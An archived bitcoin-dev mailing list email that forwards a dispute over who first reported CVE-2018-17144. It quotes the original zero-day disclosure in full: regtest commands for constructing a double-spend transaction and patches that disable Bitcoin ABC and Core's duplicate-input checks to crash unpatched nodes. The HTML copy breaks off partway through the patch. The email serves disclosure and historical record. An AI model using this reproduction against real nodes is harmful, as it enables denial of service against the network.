1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
|
Return-Path: <kanzure@gmail.com>
Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
[172.17.192.35])
by mail.linuxfoundation.org (Postfix) with ESMTPS id EECE01052
for <bitcoin-dev@lists.linuxfoundation.org>;
Sat, 22 Sep 2018 17:54:16 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Received: from mail-vs1-f43.google.com (mail-vs1-f43.google.com
[209.85.217.43])
by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 1E63B79F
for <bitcoin-dev@lists.linuxfoundation.org>;
Sat, 22 Sep 2018 17:54:15 +0000 (UTC)
Received: by mail-vs1-f43.google.com with SMTP id w138-v6so1574858vsw.7
for <bitcoin-dev@lists.linuxfoundation.org>;
Sat, 22 Sep 2018 10:54:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
h=mime-version:in-reply-to:references:from:date:message-id:subject:to;
bh=Z5xEOU2ygB/bll7h5AhYR7tiGF1Yw9Vuwg33G8Mq3wA=;
b=Yrdwwzvy698M4nPRAr5h7TC03MyHQG+NbgNOBO/hTgVA8sWH2rwMhYtk/2N+sectDz
splcZPz4tLUqGo95SfTQJVo1TVK2O91oaiTpq8w9PLTqLMuDptrWNCJeYMccA4lgLrJ6
2faFBMX40H1tnbRvSFOjANjIcQaSe4LCQ3Bjc2Djkfc9HdYr77ZpAzL0i1B7WSf9Xhp6
wye7V1wBBlhyZVipP4BCMkcE+X464mV8ML7Ge606XUfSmkKyYPCH5PJUchg6tIsrIH55
+jLZyykaOB9BvoU0niRbAV+ZR4t7Akx4TaU+eeokdIsETwGENSn2th2hw4jwij6U3Dm+
yn4g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20161025;
h=x-gm-message-state:mime-version:in-reply-to:references:from:date
:message-id:subject:to;
bh=Z5xEOU2ygB/bll7h5AhYR7tiGF1Yw9Vuwg33G8Mq3wA=;
b=l6H72GXSmSVNNmO5w7cZbbMhh+Y3NFs5zSo0IBqetPo83y06DVnpE1Yf37oWPSayMX
EFGYp3ysZZsGMTm7ExVcN1VDHoeVJqIgizKtLNbjQi9zrjUXdKRw0ZqommzKNVEG1sJ/
EA+MJcW+0jtCZ6Ki6uTFpfhy4MXCzL8cXnBlLb3kpTg4n3fmR02tNfROB1ZCtZ6p+pAo
8QY1qjTq8yMDy2HDieB/rgF3Y6QhBLBC+IeOW3/CA8IPfIgmaetYTC8Ag2+B2ypdBFYP
wHER5timYX0v4sl7SEs87hOitKPCJCj6ojfJq0ljNA4xDF9MKYwgjjY9PLs/pFnvnvgU
YJSw==
X-Gm-Message-State: APzg51AdKZzqjvedbVIN5leya3S2KokB6DtKe2toA/Vf2WXnuJe0IEFy
zdiBklaWPkSftjV6foW6wyuWM6xYhDFyNURu1/xQMrqW
X-Google-Smtp-Source: ANB0VdZxoLyxWg0EHi+7+j0LdawKPAMCnRQRHVIXLWzNZonEN7iq0t0TAdIm1gwsCEYVTq1m3TfdAQeo4g3szjyesjI=
X-Received: by 2002:a67:4119:: with SMTP id o25-v6mr730168vsa.56.1537638853790;
Sat, 22 Sep 2018 10:54:13 -0700 (PDT)
MIME-Version: 1.0
Received: by 2002:ab0:6487:0:0:0:0:0 with HTTP; Sat, 22 Sep 2018 10:54:12
-0700 (PDT)
In-Reply-To: <CAAS2fgR9Swxv3=-u_uHrgGtfn0WhXEuOV78TFpOewCuwb3fmUA@mail.gmail.com>
References: <CAAS2fgR9Swxv3=-u_uHrgGtfn0WhXEuOV78TFpOewCuwb3fmUA@mail.gmail.com>
From: Bryan Bishop <kanzure@gmail.com>
Date: Sat, 22 Sep 2018 12:54:12 -0500
Message-ID: <CABaSBaxk7sJ9WFstC_aj7W==+puXkGNAqA-n96wDzOvjaC-HCg@mail.gmail.com>
To: Bitcoin Dev <bitcoin-dev@lists.linuxfoundation.org>,
Bryan Bishop <kanzure@gmail.com>
Content-Type: multipart/alternative; boundary="000000000000ac524605767971c8"
X-Spam-Status: No, score=-2.0 required=5.0 tests=BAYES_00,DKIM_SIGNED,
DKIM_VALID,DKIM_VALID_AU,FREEMAIL_FROM,HTML_MESSAGE autolearn=ham
version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
smtp1.linux-foundation.org
X-Mailman-Approved-At: Sat, 22 Sep 2018 17:54:33 +0000
Subject: [bitcoin-dev] Fwd: [bitcoin-core-dev] On the initial notice of
CVE-2018-17144
X-BeenThere: bitcoin-dev@lists.linuxfoundation.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Bitcoin Protocol Discussion <bitcoin-dev.lists.linuxfoundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/bitcoin-dev>,
<mailto:bitcoin-dev-request@lists.linuxfoundation.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/>
List-Post: <mailto:bitcoin-dev@lists.linuxfoundation.org>
List-Help: <mailto:bitcoin-dev-request@lists.linuxfoundation.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev>,
<mailto:bitcoin-dev-request@lists.linuxfoundation.org?subject=subscribe>
X-List-Received-Date: Sat, 22 Sep 2018 17:54:17 -0000
--000000000000ac524605767971c8
Content-Type: text/plain; charset="UTF-8"
---------- Forwarded message ----------
From: Gregory Maxwell via bitcoin-core-dev <
bitcoin-core-dev@lists.linuxfoundation.org>
Date: Sat, Sep 22, 2018 at 12:12 PM
Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144
To: bitcoin-core-dev@lists.linuxfoundation.org
For some reason I don't understand, Andrea Suisani is stating on
twitter that the the report by awemany was a report of an inflation
bug, contrary to the timeline we published. This is not the case:
the report specifically stated that inflation was not possible because
the node crashed. It also described a reproduction of the crash, but
not of inflation.
I generally understand how someone could be confused about what a
report they hadn't seen said, but I'm confused in this case because
Andrea Suisani was copied on the report to us. So I'm not sure what is
up with that, perhaps the message got lost in email. If the reporter
knew the bug permitted inflation, they still specifically reported
otherwise to us.
Since people are also expressing doubt that awemany was actually the
author of the report, I'll include it here in its entity to aid
people's validation of the claim(s). There is a better test for the
crash issue include in master branch of the Bitcoin repository, the
reporter's reproduction instructions here are only included for
completeness.
Cheers,
Date: Mon, 17 Sep 2018 14:57:46 +0000
To: Pieter Wuille <pieter.wuille@gmail.com>, deadalnix
<deadalnix@gmail.com>, Andrea Suisani <sickpig@gmail.com>, Gregory
Maxwell <gmaxwell@gmail.com>, "Wladimir J. van der Laan"
<laanwj@gmail.com>
From: beardnboobies <beardnboobies@protonmail.com>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core
Dear Bitcoiners,
Please find attached an encrypted description of a crashing zero day
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been
reproduced for Bitcoin Unlimited, though for advisory reasons, I am
sending it to one of their members that I could find a PGP key for as
well.
Please forward this to any party who might have a valid interest,
including Bitcoin miners.
Thank you very much.
===
Problem description:
The following, miner-exploitable zero day has been found in Bitcoin ABC as
well as in Bitcoin Core:
Duplicate inputs are not checked in CheckBlock,
only when they are accepted into the mempool.
This creates a problem insofar as a transaction might bypass
the mempool when it is included in a block, for example if
it is transmitted as an extra transaction along with a compact
block.
A later assertion assert(is_spent) in SpendCoins (in validation.cpp)
seems to prevent the worse outcome of monetary inflation by
the comparatively better result of crashing the node.
To reproduce (Description is for Bitcoin ABC, but applies similarly to
Bitcoin Core):
Create one instance of ABC bitcoind without the patch below
applied (A) and create on instance of ABC with the patch applied (B).
The patch removes sending of transactions and testing for double-spent
inputs for the attacker node.
Run both in regtest mode and point them to different data directories,
like so and connect them together:
A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1
B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug
-datadir=/tmp/abc.2
Now on the prepared attacker node B, create a bunch of blocks and a
transaction
that double-spends its input, like so for example:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress
<address>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress
<address>
<resulting-txid>
> ./bitcoin-tx -regtest -create in=<resulting-txid>:<vout>
in=<resulting-txid>:<vout> outaddr=99.9:<address>
<resulting-txn-hex>
The double entry of the input here is not a typo. This is the desired
double-spend.
Sign the resulting transaction hex like so:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
signrawtransaction <txid>
<signed-txn-hex>
For Core, this step needs to be adapted to signrawtransactionwithkey.
And send the result into the small regtest test netwrok:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
sendrawtransaction <signed-txn-hex>
Voila, your node A should have just aborted like this:
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const
CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.
Aborted (core dumped)
If you like this work or want to pay out a bounty for finding a zero day,
please do so in BCH to this address. Thank you very much in advance.
bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5
The patch for ABC:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index ee909deb9..ff7942361 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction
&tx,
// Check for duplicate inputs - note that this check is slow so we
skip it
// in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto &txin : tx.vin) {
if (!vInOutPoints.insert(txin.prevout).second) {
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index e4ecc793c..ee1cc3cda 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
// however we MUST always provide at least
what the
// remote peer needs.
typedef std::pair<unsigned int, uint256>
PairType;
- for (PairType &pair : merkleBlock.vMatchedTxn)
{
- connman->PushMessage(
- pfrom,
- msgMaker.Make(NetMsgType::TX,
- *block.vtx[pair.first]));
- }
}
// else
// no response
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = 0;
- if (mi != mapRelay.end()) {
- connman->PushMessage(
- pfrom,
- msgMaker.Make(nSendFlags, NetMsgType::TX,
*mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using the
- // mempool when that TX couldn't have been INVed
in reply to
- // a MEMPOOL request.
- if (txinfo.tx &&
- txinfo.nTime <= pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
- msgMaker.Make(nSendFlags,
- NetMsgType::TX,
- *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index a31546432..a9edbb956 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const
CTransaction &tx, CTxUndo &txundo,
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = view.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
----
The same patch for Core:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index 0628ec1d4..a06f77f8b 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,
CValidationState &state, bool fChe
}
// Check for duplicate inputs - note that this check is slow so
we skip it in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto& txin : tx.vin)
{
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index b48a3bd22..9b7fb5839 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,
const CChainParams& chainparams, c
// Thus, the protocol spec specified allows for
us to provide duplicate txn here,
// however we MUST always provide at least what
the remote peer needs
typedef std::pair<unsigned int, uint256> PairType;
- for (PairType& pair : merkleBlock.vMatchedTxn)
- connman->PushMessage(pfrom,
msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX,
*pblock->vtx[pair.first]));
}
// else
// no response
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const
CChainParams& chainparams, CConnm
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = (inv.type == MSG_TX ?
SERIALIZE_TRANSACTION_NO_WITNESS : 0);
- if (mi != mapRelay.end()) {
- connman->PushMessage(pfrom, msgMaker.Make(nSendFlags,
NetMsgType::TX, *mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using
the mempool when
- // that TX couldn't have been INVed in reply to a
MEMPOOL request.
- if (txinfo.tx && txinfo.nTime <=
pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index 947192be0..66536af24 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,
CCoinsViewCache& inputs, CTxUndo &txund
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = inputs.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
// add outputs
_______________________________________________
bitcoin-core-dev mailing list
bitcoin-core-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
--000000000000ac524605767971c8
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
<div dir=3D"ltr"><br><div class=3D"gmail_quote">---------- Forwarded messag=
e ----------<br>From: <b class=3D"gmail_sendername">Gregory Maxwell via bit=
coin-core-dev</b> <span dir=3D"ltr"><<a href=3D"mailto:bitcoin-core-dev@=
lists.linuxfoundation.org">bitcoin-core-dev@lists.linuxfoundation.org</a>&g=
t;</span><br>Date: Sat, Sep 22, 2018 at 12:12 PM<br>Subject: [bitcoin-core-=
dev] On the initial notice of CVE-2018-17144<br>To: <a href=3D"mailto:bitco=
in-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.linuxfoundati=
on.org</a><br><br><br>For some reason I don't understand, Andrea Suisan=
i is stating on<br>
twitter that the the report by awemany was a report of an inflation<br>
bug, contrary to the timeline we published.=C2=A0 =C2=A0This is not the cas=
e:<br>
the report specifically stated that inflation was not possible because<br>
the node crashed. It also described a reproduction of the crash, but<br>
not of inflation.<br>
<br>
I generally understand how someone could be confused about what a<br>
report they hadn't seen said, but I'm confused in this case because=
<br>
Andrea Suisani was copied on the report to us. So I'm not sure what is<=
br>
up with that, perhaps the message got lost in email.=C2=A0 If the reporter<=
br>
knew the bug permitted inflation, they still specifically reported<br>
otherwise to us.<br>
<br>
Since people are also expressing doubt that awemany was actually the<br>
author of the report, I'll include it here in its entity to aid<br>
people's validation of the claim(s). There is a better test for the<br>
crash issue include in master branch of the Bitcoin repository, the<br>
reporter's reproduction instructions here are only included for<br>
completeness.<br>
<br>
Cheers,<br>
<br>
<br>
Date: Mon, 17 Sep 2018 14:57:46 +0000<br>
To: Pieter Wuille <<a href=3D"mailto:pieter.wuille@gmail.com">pieter.wui=
lle@gmail.com</a>>, deadalnix<br>
<<a href=3D"mailto:deadalnix@gmail.com">deadalnix@gmail.com</a>>, And=
rea Suisani <<a href=3D"mailto:sickpig@gmail.com">sickpig@gmail.com</a>&=
gt;, Gregory<br>
Maxwell <<a href=3D"mailto:gmaxwell@gmail.com">gmaxwell@gmail.com</a>>=
;, "Wladimir J. van der Laan"<br>
<<a href=3D"mailto:laanwj@gmail.com">laanwj@gmail.com</a>><br>
From: beardnboobies <<a href=3D"mailto:beardnboobies@protonmail.com">bea=
rdnboobies@protonmail.com</a>><br>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core<br>
<br>
Dear Bitcoiners,<br>
<br>
Please find attached an encrypted description of a crashing zero day<br>
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been<br>
reproduced for Bitcoin Unlimited, though for advisory reasons, I am<br>
sending it to one of their members that I could find a PGP key for as<br>
well.<br>
<br>
Please forward this to any party who might have a valid interest,<br>
including Bitcoin miners.<br>
<br>
Thank you very much.<br>
<br>
=3D=3D=3D<br>
<br>
Problem description:<br>
<br>
The following, miner-exploitable zero day has been found in Bitcoin ABC as<=
br>
well as in Bitcoin Core:<br>
<br>
Duplicate inputs are not checked in CheckBlock,<br>
only when they are accepted into the mempool.<br>
<br>
This creates a problem insofar as a transaction might bypass<br>
the mempool when it is included in a block, for example if<br>
it is transmitted as an extra transaction along with a compact<br>
block.<br>
<br>
A later assertion assert(is_spent) in SpendCoins (in validation.cpp)<br>
seems to prevent the worse outcome of monetary inflation by<br>
the comparatively better result of crashing the node.<br>
<br>
To reproduce (Description is for Bitcoin ABC, but applies similarly to<br>
Bitcoin Core):<br>
<br>
Create one instance of ABC bitcoind without the patch below<br>
applied (A) and create on instance of ABC with the patch applied (B).<br>
The patch removes sending of transactions and testing for double-spent<br>
inputs for the attacker node.<br>
<br>
Run both in regtest mode and point them to different data directories,<br>
like so and connect them together:<br>
A: ./bitcoind -regtest -rpcport=3D15000 -listen -debug -datadir=3D/tmp/abc.=
1<br>
B: ./bitcoind -regtest -rpcport=3D15001 -connect=3Dlocalhost -debug<br>
-datadir=3D/tmp/abc.2<br>
<br>
Now on the prepared attacker node B, create a bunch of blocks and a transac=
tion<br>
that double-spends its input, like=C2=A0 so for example:<br>
<br>
> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 generate=
200<br>
<br>
> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 getnewad=
dress<br>
<address><br>
<br>
> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 sendtoad=
dress <address><br>
<resulting-txid><br>
<br>
> ./bitcoin-tx -regtest -create in=3D<resulting-txid>:<vout>=
in=3D<resulting-txid>:<vout> outaddr=3D99.9:<address><br=
>
<resulting-txn-hex><br>
<br>
The double entry of the input here is not a typo. This is the desired<br>
double-spend.<br>
<br>
Sign the resulting transaction hex like so:<br>
<br>
> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 signrawt=
ransaction <txid><br>
<signed-txn-hex><br>
<br>
For Core, this step needs to be adapted to signrawtransactionwithkey.<br>
And send the result into the small regtest test netwrok:<br>
> ./bitcoin-cli -regtest -datadir=3D/tmp/abc.2 -rpcport=3D15001 sendrawt=
ransaction <signed-txn-hex><br>
<br>
Voila, your node A should have just aborted like this:<br>
<br>
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const<=
br>
CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.<br>
Aborted (core dumped)<br>
<br>
If you like this work or want to pay out a bounty for finding a zero day,<b=
r>
please do so in BCH to this address. Thank you very much in advance.<br>
<br>
bitcoincash:<wbr>qr5yuq3q40u7mxwqz6xvamkfj8tg45<wbr>wyus7fhqzug5<br>
<br>
<br>
The patch for ABC:<br>
<br>
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp<br>
index ee909deb9..ff7942361 100644<br>
--- a/src/consensus/tx_verify.cpp<br>
+++ b/src/consensus/tx_verify.cpp<br>
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &=
amp;tx,<br>
<br>
=C2=A0 =C2=A0 =C2=A0// Check for duplicate inputs - note that this check is=
slow so we skip it<br>
=C2=A0 =C2=A0 =C2=A0// in CheckBlock<br>
-=C2=A0 =C2=A0 if (fCheckDuplicateInputs) {<br>
+=C2=A0 =C2=A0 if (0) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0std::set<COutPoint> vInOutPoints;<b=
r>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0for (const auto &txin : tx.vin) {<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!vInOutPoints.insert(tx=
in.<wbr>prevout).second) {<br>
diff --git a/src/net_processing.cpp b/src/net_processing.cpp<br>
index e4ecc793c..ee1cc3cda 100644<br>
--- a/src/net_processing.cpp<br>
+++ b/src/net_processing.cpp<br>
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config<br>
&config, CNode *pfrom,<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0// however we MUST always provide at least w=
hat the<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0// remote peer needs.<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0typedef std::pair<unsigned int, uint256&g=
t; PairType;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 for (PairType &pair : merkleBlock.vMatchedTxn)=
{<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 connman->PushMessage(<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 pfrom,<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 msgMaker.Make(NetMsgTy=
pe::TX,<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 =C2=A0 *block.vtx[pair.first]));<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0}<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0// else<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0// no response<br>
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config<br>
&config, CNode *pfrom,<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool push =3D=
false;<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0auto mi =3D m=
apRelay.find(inv.hash);<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0int nSendFlag=
s =3D 0;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 if (mi !=3D mapRel=
ay.end()) {<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 conn=
man->PushMessage(<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 pfrom,<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 msgMaker.Make(nSendFlags, NetMsgType::TX,<br>
*mi->second));<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 push=
=3D true;<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 } else if (pfrom-&=
gt;timeLastMempoolReq) {<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 auto=
txinfo =3D <a href=3D"http://mempool.info" rel=3D"noreferrer" target=3D"_b=
lank">mempool.info</a>(inv.hash);<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // T=
o protect privacy, do not answer getdata using the<br>
-=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 // m=
empool when that TX couldn't have been INVed<br>
in reply to<br>
